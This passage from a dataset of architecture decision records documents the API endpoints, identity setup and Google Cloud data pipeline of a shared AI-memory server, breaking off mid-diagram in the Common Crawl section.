Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/nodes` | Bearer | List all published nodes |\n| POST | `/v1/nodes` | Bearer | Publish a new WASM node |\n| GET | `/v1/nodes/:id` | Bearer | Get node metadata |\n| GET | `/v1/nodes/:id/wasm` | Bearer | Download WASM binary |\n| POST | `/v1/nodes/:id/revoke` | Bearer | Revoke a published node |\n\n### 3.6 Transfer Learning\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/transfer` | Bearer | Initiate cross-domain transfer (source_domain \u2192 target_domain) |\n\n### 3.7 Federated Learning (LoRA)\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/lora/latest` | Optional | Current consensus LoRA weights (cached 60s) |\n| POST | `/v1/lora/submit` | Bearer | Submit LoRA delta for aggregation |\n\n### 3.8 Training & Discovery (NEW \u2014 not in ADR-060)\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/train` | Bearer | Trigger SONA training cycle manually |\n| GET | `/v1/training/preferences` | Bearer | Get training configuration preferences |\n\n**Background training**: Runs every 5 minutes when new data exists. Executes SONA `force_learn` + domain `evolve_population`.\n\n### 3.9 Observability & Analytics (NEW/EXTENDED)\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/drift` | Optional | Embedding drift report (coefficient of variation, trend, suggested action) |\n| GET | `/v1/partition` | Optional | Mincut partition analysis of knowledge graph |\n| GET | `/v1/explore` | Bearer | Meta-learning curiosity engine (Pareto frontier, regret summary, most curious category) |\n| GET | `/v1/sona/stats` | Bearer | SONA learning stats (trajectories, patterns, EWC tasks, buffer rates) |\n| GET | `/v1/temporal` | Bearer | Temporal delta tracking (knowledge velocity, trend) |\n| GET | `/v1/midstream` | Bearer | Midstream engine stats (scheduler ticks, attractor categories, strange-loop version) |\n\n### 3.10 Verification\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/verify` | Bearer | Verify RVF container, witness chain, or memory integrity |\n\n### 3.11 MCP Transport (SSE + stdio)\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/sse` | Session | Server-Sent Events MCP transport (91 tools) |\n| POST | `/messages` | Session | JSON-RPC message handler for MCP sessions |\n\n**MCP tool categories** (91 tools via SSE/stdio):\n- Memory CRUD: `brain_share`, `brain_search`, `brain_get`, `brain_vote`, `brain_delete`, `brain_list`\n- Learning: `brain_transfer`, `brain_drift`, `brain_partition`, `brain_status`, `brain_sync`\n- Pages: `brain_create_page`, `brain_get_page`, `brain_submit_delta`, `brain_list_deltas`, `brain_add_evidence`, `brain_promote_page`\n- Nodes: `brain_publish_node`, `brain_get_node`, `brain_get_node_wasm`, `brain_revoke_node`\n- Graph: `brain_graph_neighbors`\n- Training: `brain_train`\n\n### 3.12 Static Assets\n\n| Method | Path | Description |\n|--------|------|-------------|\n| GET | `/` | Landing page (embedded HTML) |\n| GET | `/origin` | Origin story slideshow |\n| GET | `/robots.txt` | Robots exclusion |\n| GET | `/sitemap.xml` | Sitemap |\n| GET | `/og-image.svg` | Open Graph image |\n| GET | `/.well-known/brain-manifest.json` | Brain capability manifest |\n| GET | `/.well-known/agent-guide.md` | Agent onboarding guide |\n\n## 4. Endpoint Count Summary\n\n| Category | ADR-060 Count | Current Count | Delta |\n|----------|---------------|---------------|-------|\n| Infrastructure | 1 | 2 | +1 |\n| Auth | 1 | 1 | \u2014 |\n| Memories | 6 | 6 | \u2014 |\n| Pages | 0 | 7 | +7 |\n| Nodes | 0 | 5 | +5 |\n| Transfer | 1 | 1 | \u2014 |\n| LoRA | 2 | 2 | \u2014 |\n| Training | 0 | 2 | +2 |\n| Observability | 3 | 6 | +3 |\n| Verification | 1 | 1 | \u2014 |\n| MCP Transport | 0 | 2 | +2 |\n| Static | 0 | 7 | +7 |\n| **Total** | **14** | **41** | **+27** |\n\n## 5. New Server Modules (since ADR-060)\n\n| Module | Lines | Purpose |\n|--------|-------|---------|\n| `trainer.rs` | 650 | Daily discovery engine \u2014 6 domains (space, earth, academic, economics, medical, materials), multi-API fetch, confidence filtering |\n| `web_memory.rs` | 590 | Web memory types \u2014 WebMemory, WebPageDelta, LinkEdge, CompressionTier, 14 API types |\n| `web_ingest.rs` | 613 | 7-phase ingestion pipeline \u2014 validate, dedup (SHA3-256), chunk, embed, novelty score, compress, store. Midstream integration (Lyapunov recrawl priority) |\n| `web_store.rs` | 359 | DashMap + Firestore write-through persistence for WebMemory, deltas, link edges |\n| `pubmed.rs` | 700 | PubMed E-utilities integration \u2014 esearch/efetch, XML parsing, discovery engine (emerging topics, contradiction detection, citation hubs) |\n\n**Total new test coverage**: 32 tests (web_memory: 10, web_ingest: 18, web_store: 4)\n\n## 6. Discovery Pipeline Architecture\n\n### 6.1 Daily Training (ADR-093)\n\nSix discovery domains pull from public APIs:\n\n| Domain | Active APIs | Status |\n|--------|------------|--------|\n| Space Science | NASA Exoplanet Archive (TAP), NeoWs, DONKI | Implemented |\n| Earth Science | USGS Earthquake Feed, NOAA NCEI | Implemented |\n| Academic Research | OpenAlex | Implemented |\n| Economics & Finance | FRED, World Bank | Placeholder |\n| Medical & Genomics | PubMed E-utilities | Implemented (pubmed.rs) |\n| Materials & Physics | CERN, Materials Project | Placeholder |\n\n### 6.2 PubMed Discovery Engine\n\nThe `pubmed.rs` module implements a full biomedical discovery pipeline:\n\n1. **esearch**: Find PMIDs by query (rate-limited 3 req/sec)\n2. **efetch**: Retrieve abstracts in XML\n3. **Parse**: Extract title, abstract (multi-segment), authors, journal, MeSH terms, references\n4. **Ingest**: Convert to CleanedPage \u2192 run through web_ingest pipeline\n5. **Analyze**: Detect emerging topics (high novelty + rare MeSH combos), contradictions (shared MeSH + low cosine sim < 0.4), citation hubs\n\n### 6.3 Midstream Integration\n\nWeb memory ingestion integrates with `temporal-attractor-studio` and `temporal-neural-solver`:\n- **Lyapunov-based recrawl priority**: Stable domains (\u03bb < -0.5) \u2192 0.1 priority, chaotic (\u03bb > 0.5) \u2192 0.9\n- **Solver drift prediction**: Uses temporal neural solver confidence to predict content drift\n\n## 7. Authentication & Identity Quick Reference\n\n```bash\n# Generate a new Pi key\nnpx ruvector identity generate\n\n# Or manually\nPI=$(openssl rand -hex 32)\necho \"export PI=$PI\" >> ~/.bashrc\n\n# Derive pseudonym (SHAKE-256)\nnode -e \"const c=require('crypto');const h=c.createHash('shake256',{outputLength:16});h.update(process.env.PI);console.log(h.digest('hex'))\"\n\n# Show full identity\nnpx ruvector identity show --json\n\n# Push a learning\nNONCE=$(curl -s \"https://pi.ruv.io/v1/challenge\" -H \"Authorization: Bearer $PI\" | jq -r .nonce)\ncurl -X POST \"https://pi.ruv.io/v1/memories\" \\\n -H \"Authorization: Bearer $PI\" \\\n -H \"X-Nonce: $NONCE\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"category\":\"pattern\",\"title\":\"...\",\"content\":\"...\",\"tags\":[...]}'\n```\n\n## 8. Acceptance Criteria\n\n- [x] All 41 endpoints documented and verified against live deployment\n- [x] 5 learnings pushed to brain successfully via authenticated API\n- [x] Brainpedia pages subsystem operational (8 canonical pages)\n- [x] WASM nodes subsystem ready (endpoints responding)\n- [x] SONA meta-learning telemetry accessible\n- [x] Temporal + midstream observability endpoints live\n- [x] PubMed discovery pipeline implemented with XML parsing + contradiction detection\n- [x] MCP SSE transport operational with 91 tools\n\n## 9. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-059 | Shared Brain Google Cloud \u2014 infrastructure |\n| ADR-060 | Shared Brain Capabilities \u2014 original 14 endpoints (superseded by this ADR) |\n| ADR-077 | Midstream Brain Integration \u2014 strange-loop + attractor |\n| ADR-093 | Daily Discovery Training \u2014 6-domain pipeline |\n| ADR-094 | Shared Web Memory \u2014 web_memory, web_ingest, web_store modules |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-095-pi-api-v2-capabilities.md", "created_at": "2026-03-28T11:58:49.941769+00:00", "content_hash": "4a99cc71b201b22d8ac9b58c26f0f49629e5bca2e61ffa8f50191fb1f43fc29e"} +{"id": "7b43e341-ed99-48ac-b072-f4b18bca26f6", "source": "adr", "text": "# ADR-096: Cloud-Native Data Pipeline, Real-Time Injection & Automated Optimization\n\n**Status**: Accepted\n**Date**: 2026-03-16\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: None\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-093 (Daily Discovery Training), ADR-094 (Shared Web Memory), ADR-095 (API v2 Capabilities), ADR-077 (Midstream Platform)\n\n## 1. Context\n\nThe \u03c0.ruv.io brain server (ADR-059/060) currently operates as a request-response system: agents push memories, query knowledge, and trigger training manually. While a 5-minute background training loop exists (`main.rs`), the system lacks:\n\n1. **Event-driven ingestion** \u2014 No way to push data in real-time from external systems (webhooks, IoT, CI/CD, crawlers)\n2. **Automated optimization** \u2014 Training, drift monitoring, and graph rebalancing are ad-hoc\n3. **Feed ingestion** \u2014 No mechanism to poll RSS/Atom/API feeds and ingest new knowledge automatically\n4. **Pipeline observability** \u2014 No unified metrics for throughput, latency, and pipeline health\n5. **Cloud-native scheduling** \u2014 Background tasks run in-process; scaling and reliability depend on a single Cloud Run instance\n\nThis ADR introduces a Google Cloud-native data pipeline with Pub/Sub for event-driven flow, Cloud Scheduler for periodic optimization, and new REST endpoints for injection, batch processing, and pipeline management.\n\n## 2. Decision\n\n### 2.1 Architecture Overview\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u03c0.ruv.io (Cloud Run) \u2502\n \u2502 \u2502\n External Sources \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba \u2502 \u2502 Pipeline \u2502\u2500\u2500\u25ba\u2502 Embedding\u2502\u2500\u2500\u25ba\u2502 Knowledge Graph \u2502 \u2502\n Pub/Sub Push \u2502 \u2502 Inject \u2502 \u2502 Engine \u2502 \u2502 + Witness Chain \u2502 \u2502\n REST API \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n RSS/Atom Feeds \u2502 \u2502 \u2502 \u2502\n \u2502 \u25bc \u25bc \u2502\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n \u2502 \u2502 Pipeline \u2502 \u2502 Firestore\u2502 \u2502 GCS (RVF \u2502 \u2502\n \u2502 \u2502 Metrics \u2502 \u2502 (durable)\u2502 \u2502 containers) \u2502 \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 \u25b2 \u2502\n \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n Cloud Scheduler \u2500\u2500\u25ba\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 Optimize \u2502\u2500\u2500\u25ba train / drift / \u2502\n (periodic jobs) \u2502 \u2502 \u2502 Handler \u2502 transfer / graph / \u2502\n \u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 cleanup / attractor \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Cloud Monitoring\u2502\n \u2502 Dashboard \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 2.2 Component Summary\n\n| Component | GCP Service | Purpose |\n|-----------|-------------|---------|\n| Real-time injection | Cloud Run (existing) | New `/v1/pipeline/*` endpoints |\n| Event bus | Cloud Pub/Sub | `brain-inject`, `brain-events`, `brain-optimize` topics |\n| Periodic optimization | Cloud Scheduler | 7 jobs: train, drift, transfer, graph, attractor, full, cleanup |\n| Observability | Cloud Monitoring | 10-tile dashboard: latency, throughput, drift, memory, graph |\n| Persistence | Firestore + GCS | Write-through cache pattern (existing) |\n| Authentication | OIDC + Bearer | Scheduler uses OIDC; API clients use Bearer token |\n\n## 3. New REST API Endpoints\n\n### 3.1 Injection Endpoints\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/pipeline/inject` | Bearer | Inject a single item (real-time) |\n| POST | `/v1/pipeline/inject/batch` | Bearer | Inject up to 100 items per batch |\n| POST | `/v1/pipeline/pubsub` | OIDC | Receive Pub/Sub push messages |\n\n### 3.2 Optimization Endpoints\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/pipeline/optimize` | Bearer | Trigger optimization actions |\n| GET | `/v1/pipeline/metrics` | Bearer | Pipeline health and throughput |\n| GET | `/v1/pipeline/scheduler/status` | Bearer | Scheduler job states |\n\n### 3.3 Feed Management Endpoints\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/pipeline/feeds` | Bearer | Add an RSS/Atom feed source |\n| GET | `/v1/pipeline/feeds` | Bearer | List configured feeds |\n\n## 4. Injection Pipeline\n\n### 4.1 Single Item Flow\n\n```\nPOST /v1/pipeline/inject\n{\n \"source\": \"arxiv-crawler\",\n \"title\": \"Quantum Error Correction via Surface Codes\",\n \"content\": \"We present a novel approach to...\",\n \"tags\": [\"quantum\", \"error-correction\", \"surface-codes\"],\n \"category\": \"architecture\",\n \"metadata\": {\"arxiv_id\": \"2503.12345\", \"authors\": [\"A. Researcher\"]}\n}\n```\n\nProcessing stages:\n\n1. **Validate** \u2014 Check title/content length, source field, rate limits\n2. **PII Strip** \u2014 Regex-based PII detection and redaction (ADR-075 Phase 2)\n3. **Embed** \u2014 Generate 128-dim RLM embedding via `EmbeddingEngine::embed_for_storage()`\n4. **Dedup** \u2014 Content hash (SHA3-256) check against existing memories\n5. **Witness Chain** \u2014 Build 3-entry SHAKE-256 chain (PII \u2192 embed \u2192 content)\n6. **Store** \u2014 Write to Firestore via DashMap write-through cache\n7. **Graph Update** \u2014 Add node to `KnowledgeGraph`, compute similarity edges\n8. **Cognitive Store** \u2014 Store in Hopfield network, HDC memory, DentateGyrus\n9. **Temporal Track** \u2014 Record embedding delta in `DeltaStream`\n10. **Metrics Update** \u2014 Increment pipeline counters\n11. **SSE Broadcast** \u2014 Notify active SSE sessions of new memory\n\nResponse:\n```json\n{\n \"id\": \"550e8400-e29b-41d4-a716-446655440000\",\n \"quality_score\": 0.5,\n \"witness_hash\": \"a1b2c3d4...\",\n \"graph_edges_added\": 47\n}\n```\n\n### 4.2 Batch Injection\n\n```\nPOST /v1/pipeline/inject/batch\n{\n \"source\": \"daily-crawl\",\n \"items\": [\n {\"title\": \"...\", \"content\": \"...\", \"tags\": [...], \"category\": \"solution\"},\n {\"title\": \"...\", \"content\": \"...\", \"tags\": [...], \"category\": \"pattern\"},\n ...\n ]\n}\n```\n\n- Maximum 100 items per batch (enforced server-side)\n- Each item processed independently \u2014 failures don't block others\n- Returns aggregate counts plus individual error messages\n\nResponse:\n```json\n{\n \"accepted\": 95,\n \"rejected\": 5,\n \"memory_ids\": [\"...\", \"...\", ...],\n \"errors\": [\"item 3: duplicate content hash\", \"item 17: content too short\", ...]\n}\n```\n\n### 4.3 Pub/Sub Push Integration\n\nCloud Pub/Sub delivers messages directly to the brain via HTTP push:\n\n```\nPOST /v1/pipeline/pubsub\n{\n \"message\": {\n \"data\": \"<base64-encoded InjectRequest JSON>\",\n \"attributes\": {\"source\": \"iot-sensor-grid\"},\n \"messageId\": \"1234567890\",\n \"publishTime\": \"2026-03-16T00:00:00Z\"\n },\n \"subscription\": \"projects/ruv-dev/subscriptions/brain-inject-push\"\n}\n```\n\nDesign decisions:\n- **No Bearer auth required** \u2014 Cloud Run validates the Pub/Sub OIDC service account token automatically\n- **200 OK = acknowledgment** \u2014 Pub/Sub retries on non-2xx responses\n- **Idempotent** \u2014 Content hash dedup prevents duplicate ingestion from retries\n- **60-second ack deadline** \u2014 Allows time for embedding + storage\n\n### 4.4 Feed Ingestion\n\n```\nPOST /v1/pipeline/feeds\n{\n \"url\": \"https://arxiv.org/rss/cs.AI\",\n \"name\": \"arXiv CS.AI\",\n \"category\": {\"custom\": \"academic\"},\n \"tags\": [\"arxiv\", \"ai\", \"research\"],\n \"poll_interval_secs\": 3600\n}\n```\n\nFeed processing:\n1. Poll RSS/Atom URL at configured interval\n2. Extract title, content, publication date from each entry\n3. Content hash dedup against existing memories\n4. Embed and store as new memories\n5. Track feed cursor to avoid re-processing\n\n## 5. Optimization System\n\n### 5.1 Available Actions\n\n| Action | What It Does | Typical Duration |\n|--------|-------------|-----------------|\n| `train` | SONA `force_learn()` + domain `evolve_population()` | 100-500ms |\n| `drift_check` | Compute embedding drift per domain, flag anomalies | 50-200ms |\n| `transfer_all` | Cross-domain knowledge transfer between category pairs | 200-1000ms |\n| `rebuild_graph` | Rebuild CSR matrix + MinCut structure for optimal queries | 500-2000ms |\n| `cleanup` | Prune memories with quality < 0.15 after 10+ votes | 100-500ms |\n| `attractor_analysis` | Lyapunov exponent estimation per category | 200-800ms |\n\n### 5.2 Optimization Request\n\n```\nPOST /v1/pipeline/optimize\n{\n \"actions\": [\"train\", \"drift_check\", \"attractor_analysis\"]\n}\n```\n\nIf `actions` is omitted or empty, all 6 actions run in sequence.\n\nResponse:\n```json\n{\n \"results\": [\n {\"action\": \"train\", \"success\": true, \"message\": \"SONA: 12 patterns, Pareto 56\u219258\", \"duration_ms\": 234},\n {\"action\": \"drift_check\", \"success\": true, \"message\": \"3 domains checked, 0 drifting\", \"duration_ms\": 87},\n {\"action\": \"attractor_analysis\", \"success\": true, \"message\": \"4 categories analyzed, 3 stable (\u03bb<0)\", \"duration_ms\": 412}\n ],\n \"total_duration_ms\": 733\n}\n```\n\n### 5.3 Cloud Scheduler Jobs\n\nSeven recurring jobs target the `/v1/pipeline/optimize` endpoint:\n\n| Job Name | Schedule | Actions | Rationale |\n|----------|----------|---------|-----------|\n| `brain-train` | `*/5 * * * *` | `[\"train\"]` | Consolidate new knowledge frequently |\n| `brain-drift` | `*/15 * * * *` | `[\"drift_check\"]` | Detect poisoning or rapid domain shift |\n| `brain-transfer` | `*/30 * * * *` | `[\"transfer_all\"]` | Cross-pollinate growing domains |\n| `brain-graph` | `0 * * * *` | `[\"rebuild_graph\"]` | Optimal CSR/MinCut for search quality |\n| `brain-attractor` | `*/20 * * * *` | `[\"attractor_analysis\"]` | Lyapunov stability tracking |\n| `brain-full-optimize` | `0 3 * * *` | all 6 | Complete daily sweep at low-traffic time |\n| `brain-cleanup` | `0 4 * * *` | `[\"cleanup\"]` | Remove low-quality memories |\n\nAll jobs use OIDC authentication via the `ruvbrain-scheduler` service account with `roles/run.invoker`.\n\n## 6. Cloud Pub/Sub Topology\n\n### 6.1 Topics\n\n| Topic | Retention | Purpose |\n|-------|-----------|---------|\n| `brain-inject` | 24h | Real-time data injection from external sources |\n| `brain-events` | 24h | Brain events (new memories, training, drift alerts) |\n| `brain-optimize` | 1h | Optimization triggers |\n\n### 6.2 Subscriptions\n\n| Subscription | Type | Topic | Purpose |\n|-------------|------|-------|---------|\n| `brain-inject-push` | Push | `brain-inject` | Delivers to Cloud Run `/v1/pipeline/pubsub` |\n| `brain-inject-pull` | Pull | `brain-inject` | Batch processing fallback (72h retention) |\n| `brain-events-monitor` | Pull | `brain-events` | Monitoring and alerting |\n\n### 6.3 Publishing Pattern\n\nExternal systems publish to `brain-inject`:\n\n```bash\ngcloud pubsub topics publish brain-inject \\\n --project=ruv-dev \\\n --message='{\"source\":\"sensor\",\"title\":\"Temperature Anomaly\",\"content\":\"Detected +3\u03c3 deviation...\",\"tags\":[\"iot\",\"anomaly\"]}'\n```\n\nThe brain can also publish to `brain-events` to notify downstream systems:\n\n```json\n{\n \"event\": \"memory_created\",\n \"memory_id\": \"550e8400-...\",\n \"category\": \"pattern\",\n \"timestamp\": \"2026-03-16T00:00:00Z\"\n}\n```\n\n## 7. Pipeline Metrics & Observability\n\n### 7.1 Pipeline State\n\nTracked in-memory via atomic counters (zero-allocation, lock-free):\n\n| Metric | Type | Description |\n|--------|------|-------------|\n| `messages_received` | Counter | Total Pub/Sub + API inject requests |\n| `messages_processed` | Counter | Successfully stored memories |\n| `messages_failed` | Counter | Rejected or errored injections |\n| `optimization_cycles` | Counter | Completed optimization runs |\n| `last_training` | Timestamp | Most recent training cycle |\n| `last_drift_check` | Timestamp | Most recent drift check |\n| `last_injection` | Timestamp | Most recent successful injection |\n| `injections_per_minute` | Gauge | Rolling throughput estimate |\n\n### 7.2 Metrics Endpoint\n\n```\nGET /v1/pipeline/metrics\n```\n\n```json\n{\n \"messages_received\": 12847,\n \"messages_processed\": 12691,\n \"messages_failed\": 156,\n \"memory_count\": 2049,\n \"graph_nodes\": 2049,\n \"graph_edges\": 412983,\n \"last_training\": \"2026-03-16T01:55:00Z\",\n \"last_drift_check\": \"2026-03-16T01:50:00Z\",\n \"optimization_cycles\": 287,\n \"uptime_seconds\": 86400,\n \"injections_per_minute\": 8.9\n}\n```\n\n### 7.3 Cloud Monitoring Dashboard\n\n10-tile mosaic dashboard tracking:\n\n| Tile | Metric | Visualization |\n|------|--------|--------------|\n| Request Latency | p50/p95/p99 response times | Line chart |\n| Request Count | Requests/sec by status | Stacked bar |\n| Error Rate | 4xx + 5xx / total | Line with threshold |\n| Memory Count | Total memories over time | Scalar + sparkline |\n| Graph Edges | Edge count over time | Scalar + sparkline |\n| Training Frequency | Training cycles per hour | Bar chart |\n| Drift Coefficient | CV per domain, threshold 0.15 | Line with alert |\n| Injection Throughput | Messages processed per minute | Line chart |\n| Optimization Duration | Cycle duration distribution | Heatmap |\n| Resource Utilization | CPU + memory % | Dual line |\n\n## 8. Security Considerations\n\n### 8.1 Authentication Matrix\n\n| Endpoint Group | Auth Method | Who Uses It |\n|---------------|-------------|-------------|\n| Pipeline inject/batch | Bearer token | API clients, agents, crawlers |\n| Pipeline Pub/Sub push | OIDC (Cloud Run auto-validates) | Cloud Pub/Sub service |\n| Pipeline optimize | Bearer token | Cloud Scheduler (via headers) |\n| Pipeline metrics/feeds | Bearer token | Monitoring, dashboards |\n\n### 8.2 Rate Limiting\n\n- **Per-source injection**: Max 100 items/minute per source identifier\n- **Batch size**: Hard cap at 100 items per batch request\n- **Pub/Sub**: Controlled by subscription ack deadline (60s) and flow control\n- **Optimize**: No rate limit (scheduler controls frequency)\n\n### 8.3 Data Safety\n\n- **PII stripping** on all injected content (15 compiled regexes)\n- **Differential privacy** noise on embeddings when `RVF_DP_ENABLED=true`\n- **Content hash dedup** prevents replay attacks via Pub/Sub retries\n- **Witness chains** provide full provenance for every injected memory\n- **Cleanup action** only prunes memories below quality threshold with sufficient votes (not arbitrary deletion)\n\n## 9. Deployment\n\n### 9.1 Infrastructure Setup\n\n```bash\n# 1. Setup Pub/Sub topics, subscriptions, IAM\n./crates/mcp-brain-server/cloud/setup-pubsub.sh ruv-dev\n\n# 2. Deploy scheduler jobs\n./crates/mcp-brain-server/cloud/deploy-scheduler.sh ruv-dev\n\n# 3. Full deployment (build + deploy + setup)\n./crates/mcp-brain-server/cloud/deploy-all.sh ruv-dev\n```\n\n### 9.2 Cloud Run Configuration\n\n| Setting | Value | Rationale |\n|---------|-------|-----------|\n| Memory | 2 Gi | Knowledge graph + Hopfield + embeddings in-memory |\n| CPU | 2 | Parallel embedding + graph operations |\n| Min instances | 1 | Avoid cold starts on Pub/Sub push |\n| Max instances | 10 | Handle burst injection traffic |\n| Timeout | 300s | Long-running batch injections |\n| Concurrency | 80 | High throughput for independent requests |\n\n### 9.3 Environment Variables\n\n| Variable | Default | Purpose |\n|----------|---------|---------|\n| `FIRESTORE_URL` | (required) | Firestore REST endpoint for persistence |\n| `GCS_BUCKET` | `ruvector-brain-dev` | RVF container storage |\n| `GWT_ENABLED` | `true` | Global Workspace Theory attention |\n| `TEMPORAL_ENABLED` | `true` | Temporal delta tracking |\n| `META_LEARNING_ENABLED` | `true` | Domain expansion meta-learning |\n| `SONA_ENABLED` | `true` | SONA pattern learning |\n| `RVF_PII_STRIP` | `true` | PII detection and redaction |\n| `RVF_DP_ENABLED` | `false` | Differential privacy noise |\n| `MIDSTREAM_ATTRACTOR` | `false` | Lyapunov attractor analysis |\n\n## 10. Common Crawl / Open Crawl Data Integration\n\n### 10.1 Overview\n\nCommon Crawl (commoncrawl.org) provides petabyte-scale web crawl data freely available on AWS S3. The brain pipeline integrates this as a massive knowledge source using a tiered approach \u2014 from targeted extraction to full corpus processing.\n\n### 10.2 Data Sources\n\n| Source | Format | Size | Update Frequency | Access |\n|--------|--------|------|-----------------|--------|\n| **Common Crawl WARC** | WARC (Web ARChive) | ~3.5 PB total, ~250 TB/crawl | Monthly | `s3://commoncrawl/` (free, requester-pays) |\n| **Common Crawl Index** | CDX (columnar index) | ~300 GB/crawl | Monthly | `s3://commoncrawl/cc-index/` |\n| **Common Crawl WET** | Plain text extract | ~15 TB/crawl | Monthly | `s3://commoncrawl/crawl-data/` |\n| **CC-MAIN metadata** | JSON/WARC metadata | ~2 TB/crawl | Monthly | WARC headers |\n| **OSCAR** (Open Super-large Crawled Aggregated corpus) | Deduplicated text | ~6 TB | Periodic | HuggingFace |\n| **C4** (Colossal Clean Crawled Corpus) | Cleaned text | ~750 GB | Static (2019) | GCS / TensorFlow |\n| **RefinedWeb** | Quality-filtered CC | ~5 TB | Periodic | HuggingFace |\n| **Dolma** | Curated multi-source | ~3 TB | Periodic | HuggingFace |\n\n### 10.3 Integration Architecture\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Common Crawl Pipeline \u2502\n \u2502 \u2502\n \u2502 S3 (commoncrawl) GCS (staging) Cloud Run (brain) \u2502\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n \u2502 \u2502 CC Index \u2502\u2500\u2500CDX\u2500\u2500\u25ba\u2502 Filtered \u2502\u2500\u2500\u25ba \u2502 /v1/pipeline/ \u2502 \u2502\n \u2502 \u2502 (query) \u2502 query \u2502 segments \u2502 \u2502 inject/batch \u2502 \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 \u2502 \u2502 \u2502\n \u2502 